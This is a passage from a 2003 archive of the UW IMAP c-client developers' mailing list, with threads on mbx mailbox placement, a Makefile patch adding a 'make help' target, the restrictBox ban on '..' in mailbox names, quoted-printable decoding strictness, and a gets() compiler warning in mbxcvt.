(8.9.3/8.9.3) with ESMTP id QAA03227; Sun, 26 Jan 2003 16:58:16 -0800 Message-Id: <200301270058.QAA03227@sheridan.sibble.com> Date: Sun, 26 Jan 2003 15:57:44 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: changing location of mbx mailbox In-Reply-To: References: <200301262349.PAA02926@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 26 Jan 2003 at 15:10, Mark Crispin wrote: > Although this is possible by means of modification to the source code, there > are a number of non-obvious technical and administrative issues that you will > have to address in doing it. I strongly recommend *against* putting mbx I was afraid you were going to say that :-( > I don't quite understand why you don't want INBOX backed up along with home > directories onto a single CD. Won't even remotely fit, we used to use a single cd/day, now mon/wed/fri backs up half the home days, while tues/thurs backs up the rest due to the amount of data. > Do you specifically want non-retention of email data over the long term? If No, the only reason I am going to mbx format in the first place is the nightmare I have with mbox and Microsoft OE and Outlook as Imap clients. See below: ************************************* Howdy folks, I have one client getting these messages on bootup of her machine at the office each day, and also when remote accessing the server via an ssh tunnelled imap session. Now the lost mailbox lock makes sense, but what to do about it? None of the other users are experiencing this, and I can't see anything obvious in the log files.... Looking at the email referenced in the second error message, all seems okay, there is nothing odd about the message in question. ------- Forwarded message follows ------- Header download for the 'Inbox' folder did not complete. Your IMAP server has closed the connection. This may occur if you have left the connection idle for too long. Account: 'server1', Server: 'server1', Protocol: IMAP, Server Response: 'Lost mailbox lock', Port: 143, Secure(SSL): No, Error Number: 0x800CCCDD OR Outlook Express could not download the requested message. It is likely that the message was removed or expired from the server. Your IMAP server has closed the connection. This may occur if you have left the connection idle for too long. Subject 'RE: Tourism Vancouver - Vancouver Book Publication', Account: 'server1', Server: 'server1', Protocol: IMAP, Server Response: 'Lost mailbox lock', Port: 143, Secure(SSL): No, Error Number: 0x800CCCDD ------- End of forwarded message ------- Server is Caldera Openlinux 2.3, running a 2.2.19 (with appropriate patches) and the UW imap server, client machine is Win98SE. ************************************* Amongst other errors, basically the problem is that fetchmail is adding mail to the mbox file while the user is reading mail via imap. A couple users in particular have multiple accounts going into the same mbox file which makes things much worse re: errors about and constant disconnects. I want to go to mbx format to have concurrent access to the mail store file. MBX seems the way to go. > so, a better alternative to /var/spool/mail is to have a separate series of > "email" home directories, each owned by the individual users. In other works, > if user jones has a UNIX home directory of /home/jones, he would also have a > mail home directory of /mail/jones (so his INBOX would be /home/jones/INBOX). Well if I could have the mail in user dirs under /var/spool/mail/username/INBOX, that would solve most of my problems I suspect and deal with the issues you mentioned above. Basically as above, I don't want to have the mail anywhere near the users' home dirs. If I could put them in another directory that allows ownership by the respective users, that would be ideal. I guess the other option would be to change the cd backup script to omit the mail files and subdirs, but I'd rather not go that route. (To paraphrase Albert Einstein) Backup should be simple, but not too simple. > The modification to accomplish this is a very simple change to mymailboxdir() > in env_unix.c. For example, one way to do it is: That's greek to me, but I'll take you word for it :-) > If you insist upon a shared directory like /var/spool/mail, the task is quite > a bit more complex. Okay, so as above, if I create a separate maildir with user owned subdirs beneath it, will that do the trick? ie /mail/user1 /mail/user2 /mail/user3 . . . /mail/userN -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Thu Jan 30 01:17:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Jan 2003 01:17:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0U9HwTk029634 for ; Thu, 30 Jan 2003 01:17:58 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0U9HsWb024739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Jan 2003 01:17:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0U9H209027334; Thu, 30 Jan 2003 01:17:02 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0U9E3CK078902 for ; Thu, 30 Jan 2003 01:14:03 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0U9E0M5023759 for ; Thu, 30 Jan 2003 01:14:01 -0800 Received: from [::ffff:213.92.1.193] by hal-5.inet.it via I-SMTP-4.3.6-430 id ::ffff:213.92.1.193+QEYJfdt3dX0k; Thu, 30 Jan 2003 10:13:54 +0100 Message-Id: <5D0F9802-3433-11D7-8EFD-0003934A5A7E@inet.it> Date: Thu, 30 Jan 2003 10:15:23 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Subject: [PATCH] for make help. Mime-Version: 1.0 (Apple Message framework v551) Content-Type: multipart/mixed; boundary=Apple-Mail-2--961069056 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-2--961069056 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed HI, I have attached a patch in which the available system types for the make are printed with an 'make help'. I hope it is found usefull, Harrie --Apple-Mail-2--961069056 Content-Disposition: attachment; filename=makehelp.patch Content-Transfer-Encoding: 7bit Content-Type: application/octet-stream; x-unix-mode=0644; name="makehelp.patch" diff -u -r1.4 Makefile --- Makefile 2003/01/15 10:11:40 1.4 +++ Makefile 2003/01/30 09:08:43 @@ -18,100 +18,6 @@ # CPYRIGHT, included with this Distribution. -# Normal command to build IMAP toolkit: -# make [EXTRAAUTHENTICATORS=xxx] [EXTRADRIVERS=xxx] [EXTRACFLAGS=xxx] -# [PASSWDTYPE=xxx] [SSLTYPE=xxx] - - -# Port name. These refer to the *standard* compiler on the given system. -# This means, for example, that the hpx port is for HP's compiler and not for -# a non-standard compiler such as gcc. -# -# If you are using gcc and it is not the standard compiler on your system, try -# using an ANSI port that is close to what you have. For example, if your -# system is SVR4ish, try a32 or lnx; if it's more BSDish, try nxt, mct, or bsi. -# -# The following ports are bundled: -# a32 AIX 3.2 for RS/6000 -# a41 AIX 4.1 for RS/6000 -# aix AIX/370 (not RS/6000!!) -# ami AmigaDOS -# am2 AmigaDOS with a 68020+ -# ama AmigaDOS using AS225R2 -# amn AmigaDOS with a 680x0 using "new" socket library -# aos AOS for RT -# art AIX 2.2.1 for RT -# asv Altos SVR4 -# aux A/UX -# bs3 BSD/i386 3.0 and higher -# bsd generic BSD 4.3 (as in ancient 1980s version) -# bsf FreeBSD -# bsi BSD/i386 -# bso OpenBSD (yes, yet another one...) -# cvx Convex -# cyg Cygwin -# d-g Data General DG/UX prior to 5.4 (d41 port no longer exists) -# d54 Data General DG/UX 5.4 -# do4 Apollo Domain/OS sr10.4 -# dpx Bull DPX/2 B.O.S. -# drs ICL DRS/NX -# dyn Dynix -# epx EP/IX -# gas GCC Altos SVR4 -# gh9 GCC HP-UX 9.x -# ghp GCC HP-UX 10.x -# ghs GCC HP-UX 10.x with Trusted Computer Base -# go5 GCC 2.7.1 (95q4 from Skunkware _not_ 98q2!) SCO Open Server 5.0.x -# gsc GCC Santa Cruz Operation -# gsg GCC SGI -# gso GCC Solaris -# gsu GCC SUN-OS -# gul GCC RISC Ultrix (DEC-5000) -# hpp HP-UX 9.x (see gh9) -# hpx HP-UX 10.x (see ghp, ghs, hxd, and shp) -# hxd HP-UX 10.x with DCE security (see shp) -# isc Interactive Systems -# lnx Linux with traditional passwords and crypt() in the C library -# (see lnp, sl4, sl5, and slx) -# lnp Linux with Pluggable Authentication Modules (PAM) -# lrh RedHat Linux 7.2 -# lsu SuSE Linux -# lyn LynxOS -# mct MachTen -# mnt Atari ST Mint (not MacMint) -# neb NetBSD/FreeBSD -# nec NEC UX -# nto QNX Neutrine RTP -# nxt NEXTSTEP -# nx3 NEXTSTEP 3.x -# osf OSF/1 (see sos, os4) -# os4 OSF/1 (Digital UNIX) 4 -# osx Mac OS X -# ptx PTX -# pyr Pyramid -# qnx QNX 4 -# s40 SUN-OS 4.0 (*not* Solaris) -# sc5 SCO Open Server 5.0.x (see go5) -# sco Santa Cruz Operation (see sc5, go5) -# shp HP-UX with Trusted Computer Base -# sgi Silicon Graphics IRIX -# sg6 Silicon Graphics IRIX 6.5 -# sl4 Linux using -lshadow to get the crypt() function -# sl5 Linux with shadow passwords, no extra libraries -# slx Linux using -lcrypt to get the crypt() function -# snx Siemens Nixdorf SININX or Reliant UNIX -# sol Solaris (won't work unless "ucbcc" works -- use gso instead) -# sos OSF/1 with SecureWare -# ssn SUN-OS with shadow password security -# sun SUN-OS 4.1 or better (*not* Solaris) (see ssn) -# sv2 SVR2 on AT&T PC-7300 (incomplete port) -# sv4 generic SVR4 -# ult RISC Ultrix (DEC-5000) -# uw2 UnixWare SVR4.2 -# vul VAX Ultrix -# vu2 VAX Ultrix 2.3 (e.g. for VAXstation-2000 or similar old version) - - # Extra authenticators (e.g. OTP, Kerberos, etc.). Adds linkage for # auth_xxx.c and executes Makefile.xxx, where xxx is the name of the # authenticator. Some authenticators are only available from third parties. @@ -261,6 +167,7 @@ c-client: @echo Not processed yet. In a first-time build, you must specify @echo the system type so that the sources are properly processed. + @echo Type 'make help' for the list of systems. @false @@ -491,3 +398,99 @@ # A monument to a hack of long ago and far away... love: @echo not war? + +help: + @echo "Normal command to build IMAP toolkit:" + @echo " make [EXTRAAUTHENTICATORS=xxx] [EXTRADRIVERS=xxx] [EXTRACFLAGS=xxx]" + @echo " [PASSWDTYPE=xxx] [SSLTYPE=xxx]" + @echo + @echo + @echo "Port name. These refer to the *standard* compiler on the given system." + @echo "This means, for example, that the hpx port is for HP's compiler and not for" + @echo "a non-standard compiler such as gcc." + @echo + @echo "If you are using gcc and it is not the standard compiler on your system, try" + @echo "using an ANSI port that is close to what you have. For example, if your" + @echo "system is SVR4ish, try a32 or lnx; if it's more BSDish, try nxt, mct, or bsi." + @echo + @echo "The following ports are bundled:" + @echo "a32 AIX 3.2 for RS/6000" + @echo "a41 AIX 4.1 for RS/6000" + @echo "aix AIX/370 (not RS/6000!!)" + @echo "ami AmigaDOS" + @echo "am2 AmigaDOS with a 68020+" + @echo "ama AmigaDOS using AS225R2" + @echo "amn AmigaDOS with a 680x0 using 'new' socket library" + @echo "aos AOS for RT" + @echo "art AIX 2.2.1 for RT" + @echo "asv Altos SVR4" + @echo "aux A/UX" + @echo "bs3 BSD/i386 3.0 and higher" + @echo "bsd generic BSD 4.3 (as in ancient 1980s version)" + @echo "bsf FreeBSD" + @echo "bsi BSD/i386" + @echo "bso OpenBSD (yes, yet another one...)" + @echo "cvx Convex" + @echo "cyg Cygwin" + @echo "d-g Data General DG/UX prior to 5.4 (d41 port no longer exists)" + @echo "d54 Data General DG/UX 5.4" + @echo "do4 Apollo Domain/OS sr10.4" + @echo "dpx Bull DPX/2 B.O.S." + @echo "drs ICL DRS/NX" + @echo "dyn Dynix" + @echo "epx EP/IX" + @echo "gas GCC Altos SVR4 + @echo "gh9 GCC HP-UX 9.x" + @echo "ghp GCC HP-UX 10.x" + @echo "ghs GCC HP-UX 10.x with Trusted Computer Base" + @echo "go5 GCC 2.7.1 (95q4 from Skunkware _not_ 98q2!) SCO Open Server 5.0.x" + @echo "gsc GCC Santa Cruz Operation" + @echo "gsg GCC SGI" + @echo "gso GCC Solaris" + @echo "gsu GCC SUN-OS" + @echo "gul GCC RISC Ultrix (DEC-5000)" + @echo "hpp HP-UX 9.x (see gh9)" + @echo "hpx HP-UX 10.x (see ghp, ghs, hxd, and shp)" + @echo "hxd HP-UX 10.x with DCE security (see shp)" + @echo "isc Interactive Systems" + @echo "lnx Linux with traditional passwords and crypt() in the C library" + @echo " (see lnp, sl4, sl5, and slx)" + @echo "lnp Linux with Pluggable Authentication Modules (PAM)" + @echo "lrh RedHat Linux 7.2" + @echo "lsu SuSE Linux" + @echo "lyn LynxOS" + @echo "mct MachTen" + @echo "mnt Atari ST Mint (not MacMint)" + @echo "neb NetBSD/FreeBSD" + @echo "nec NEC UX" + @echo "nto QNX Neutrine RTP" + @echo "nxt NEXTSTEP" + @echo "nx3 NEXTSTEP 3.x" + @echo "osf OSF/1 (see sos, os4)" + @echo "os4 OSF/1 (Digital UNIX) 4" + @echo "osx Mac OS X" + @echo "ptx PTX" + @echo "pyr Pyramid" + @echo "qnx QNX 4" + @echo "s40 SUN-OS 4.0 (*not* Solaris)" + @echo "sc5 SCO Open Server 5.0.x (see go5)" + @echo "sco Santa Cruz Operation (see sc5, go5)" + @echo "shp HP-UX with Trusted Computer Base" + @echo "sgi Silicon Graphics IRIX" + @echo "sg6 Silicon Graphics IRIX 6.5" + @echo "sl4 Linux using -lshadow to get the crypt() function" + @echo "sl5 Linux with shadow passwords, no extra libraries" + @echo "slx Linux using -lcrypt to get the crypt() function" + @echo "snx Siemens Nixdorf SININX or Reliant UNIX" + @echo "sol Solaris (won't work unless 'ucbcc' works -- use gso instead)" + @echo "sos OSF/1 with SecureWare" + @echo "ssn SUN-OS with shadow password security" + @echo "sun SUN-OS 4.1 or better (*not* Solaris) (see ssn)" + @echo "sv2 SVR2 on AT&T PC-7300 (incomplete port)" + @echo "sv4 generic SVR4" + @echo "ult RISC Ultrix (DEC-5000)" + @echo "uw2 UnixWare SVR4.2" + @echo "vul VAX Ultrix" + @echo "vu2 VAX Ultrix 2.3 (e.g. for VAXstation-2000 or similar old version)" + + --Apple-Mail-2--961069056-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 30 19:29:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Jan 2003 19:29:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0V3TATk001271 for ; Thu, 30 Jan 2003 19:29:10 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0V3T7nO018982 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Jan 2003 19:29:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0V3SNjm024638; Thu, 30 Jan 2003 19:28:23 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0V3QYCK056394 for ; Thu, 30 Jan 2003 19:26:34 -0800 Received: from pengo.cc.purdue.edu (pengo.cc.purdue.edu [128.210.11.199]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0V3QWFq021020 for ; Thu, 30 Jan 2003 19:26:33 -0800 Received: from pengo.cc.purdue.edu (localhost.localdomain [127.0.0.1]) by pengo.cc.purdue.edu (8.12.5/8.12.5) with ESMTP id h0V3QWsb010148 for ; Thu, 30 Jan 2003 22:26:32 -0500 Received: from localhost (halsema@localhost) by pengo.cc.purdue.edu (8.12.5/8.12.5/Submit) with ESMTP id h0V3QWRH010145 for ; Thu, 30 Jan 2003 22:26:32 -0500 Message-Id: Date: Thu, 30 Jan 2003 22:26:32 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Halsema To: c-client@u.washington.edu Subject: re: restrictBox bug? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: pengo.cc.purdue.edu: halsema owned process doing -bs X-X-Sender: halsema@pengo.cc.purdue.edu X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Date: Fri, 10 Jan 2003 12:03:35 -0800 (PST) > From: Mark Crispin > To: Dave Halsema > Cc: c-client@u.washington.edu > Subject: re: restrictBox bug? > > It is intentional that all names with ".." in them are prohibited under > restrictBox conditions. This restriction is, as you noted, a bit excessive > for pure UNIX systems. But this code, even in a UNIX-only port, does not only > run on pure UNIX systems; there's Cygwin as a current example. Your patch is > safe on Cygwin, but will it always be? > > I've taken the position of "better to be safe than sorry." It's easier to > have (and explain) an absolute prohibition on ".." than to have an ever more > complex determination of what is "safe" and what is "unsafe". > > Of course, you can always apply your patch for your site, and it's probably > fine for you. That's why I provide sources, and that is why env_unix.c is > specifically identified as a source code module that people may want to patch > (and why that routine is in that file). > > > I don't know how hard it would be to implement, but it might be > > nice if mailbox names starting with the following were valid with > > restrictBox enabled. > > That's already there, although it depends upon how you set restrictBox. It > won't work if you set RESTRICTOTHERUSER in restrictBox. > > Mark, Perhaps a bit late, but I just wanted to say thanks for taking the time to share your thoughts behind the ".." prohibition when restrictBox is enabled. Before imap-2002, we had been applying our own patch to get this feature. After seeing how many people were negatively affected (very low), we decided to work with the users to rename their mailboxes and stick with the standard distribution, which makes it a bit easier for us to maintain. For those interested in numbers, we had 33 people out of 45,000+ with 36 mailboxes containing a sequence of two or more dots. Of those, many had the exact same mailbox name! Misc... Thanks again. -Dave From pinedev@shivax2.cac.washington.edu Fri Jan 31 17:59:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Jan 2003 17:59:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h111x4Tk006814 for ; Fri, 31 Jan 2003 17:59:04 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h111x1Wb026517 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 Jan 2003 17:59:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h111rsjm014618; Fri, 31 Jan 2003 17:53:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h111pACK066700 for ; Fri, 31 Jan 2003 17:51:11 -0800 Received: from smarthost2.mail.easynet.fr (smarthost2.mail.easynet.fr [212.180.1.69]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h111p7Fq007519 for ; Fri, 31 Jan 2003 17:51:08 -0800 Received: from [212.11.35.71] (helo=sunset) by smarthost2.mail.easynet.fr with esmtp (Exim 3.35 #1 (Debian)) id 18emoB-0002us-00 for ; Sat, 01 Feb 2003 02:51:03 +0100 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.35 #1 (Debian)) id 18emoA-0001yI-00 for ; Sat, 01 Feb 2003 02:51:02 +0100 Message-Id: Date: Sat, 1 Feb 2003 02:49:55 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: rfc822_qprint() is too strict for its own good MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=X, Probability=10%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_03_05" X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_02_03, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, could rfc822_qprint() be made (at least optionally) to ignore the character combinations invalid in a QP-encoded message instead of giving up immediately and returning NULL in such case? IMHO such behaviour would be much more useful than the current one because when I now get a message from a mailing list hosted on SourceForge with a trailer saying (real life example): ------------------------------------------------------- This SF.NET email is sponsored by: SourceForge Enterprise Edition + IBM + LinuxWorld = Something 2 See! I can't read the message at all because cclient doesn't decode its text seeing the "= " above. Of course, I can easily write my own QP-decoding function but it would be a pity to have 2 functions doing almost exactly the same thing in the program. Also, I really wonder who can find the current behaviour useful. Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 17:45:33 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 17:45:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131jWTk003365 for ; Sun, 2 Feb 2003 17:45:32 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131jTWb022611 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 17:45:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h131iUll021514; Sun, 2 Feb 2003 17:44:30 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131gICK062118 for ; Sun, 2 Feb 2003 17:42:18 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131gHZ7013234 for ; Sun, 2 Feb 2003 17:42:17 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id RAA00828 for ; Sun, 2 Feb 2003 17:41:30 -0800 Message-Id: <200302030141.RAA00828@sheridan.sibble.com> Date: Sun, 02 Feb 2003 17:42:14 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: error during compile of mbxcvt MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" When I run a make in the mbxcvt directory, I get the following make `cat ../imap/c-client/CCTYPE` -I../imap/c-client `cat ../imap/c- client/CFLAGS` -o mbxcvt mbxcvt.o ../imap/c-client/c-client.a `cat ../imap/c- client/LDFLAGS` mbxcvt.o: In function `mm_login': /usr/local/src/imap-2002b/mbxcvt/mbxcvt.c:357: the `gets' function is dangerous and should not be used. Should I be concerned about the last line? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 17:50:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 17:50:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131o4Tk003443 for ; Sun, 2 Feb 2003 17:50:04 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131o0nO018518 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 17:50:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h131nDDb084170; Sun, 2 Feb 2003 17:49:14 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131mpCK080156 for ; Sun, 2 Feb 2003 17:48:51 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131mnHU010244 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 17:48:49 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131mmq6026388; Sun, 2 Feb 2003 17:48:48 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h131mmTZ012883 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sun, 2 Feb 2003 17:48:48 -0800 Message-Id: Date: Sun, 2 Feb 2003 17:48:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: <200302030141.RAA00828@sheridan.sibble.com> References: <200302030141.RAA00828@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > /usr/local/src/imap-2002b/mbxcvt/mbxcvt.c:357: the `gets' function is > dangerous and should not be used. > Should I be concerned about the last line? No, you should not be. It would be a concern if mbxcvt ran setuid to some other user or otherwise with elevated privileges. But it doesn't. However, that leads to a different question; why are you using mbxcvt? mailutil is bundled with imap-2002b and completely supercedes mbxcvt. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Feb 2 18:15:51 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 18:15:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132FpTk003898 for ; Sun, 2 Feb 2003 18:15:51 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132FinO019163 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 18:15:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h132FIll032848; Sun, 2 Feb 2003 18:15:18 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132EWCK024552 for ; Sun, 2 Feb 2003 18:14:32 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132EVHT013321 for ; Sun, 2 Feb 2003 18:14:31 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id SAA01013; Sun, 2 Feb 2003 18:13:43 -0800 Message-Id: <200302030213.SAA01013@sheridan.sibble.com> Date: Sun, 02 Feb 2003 18:14:28 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: 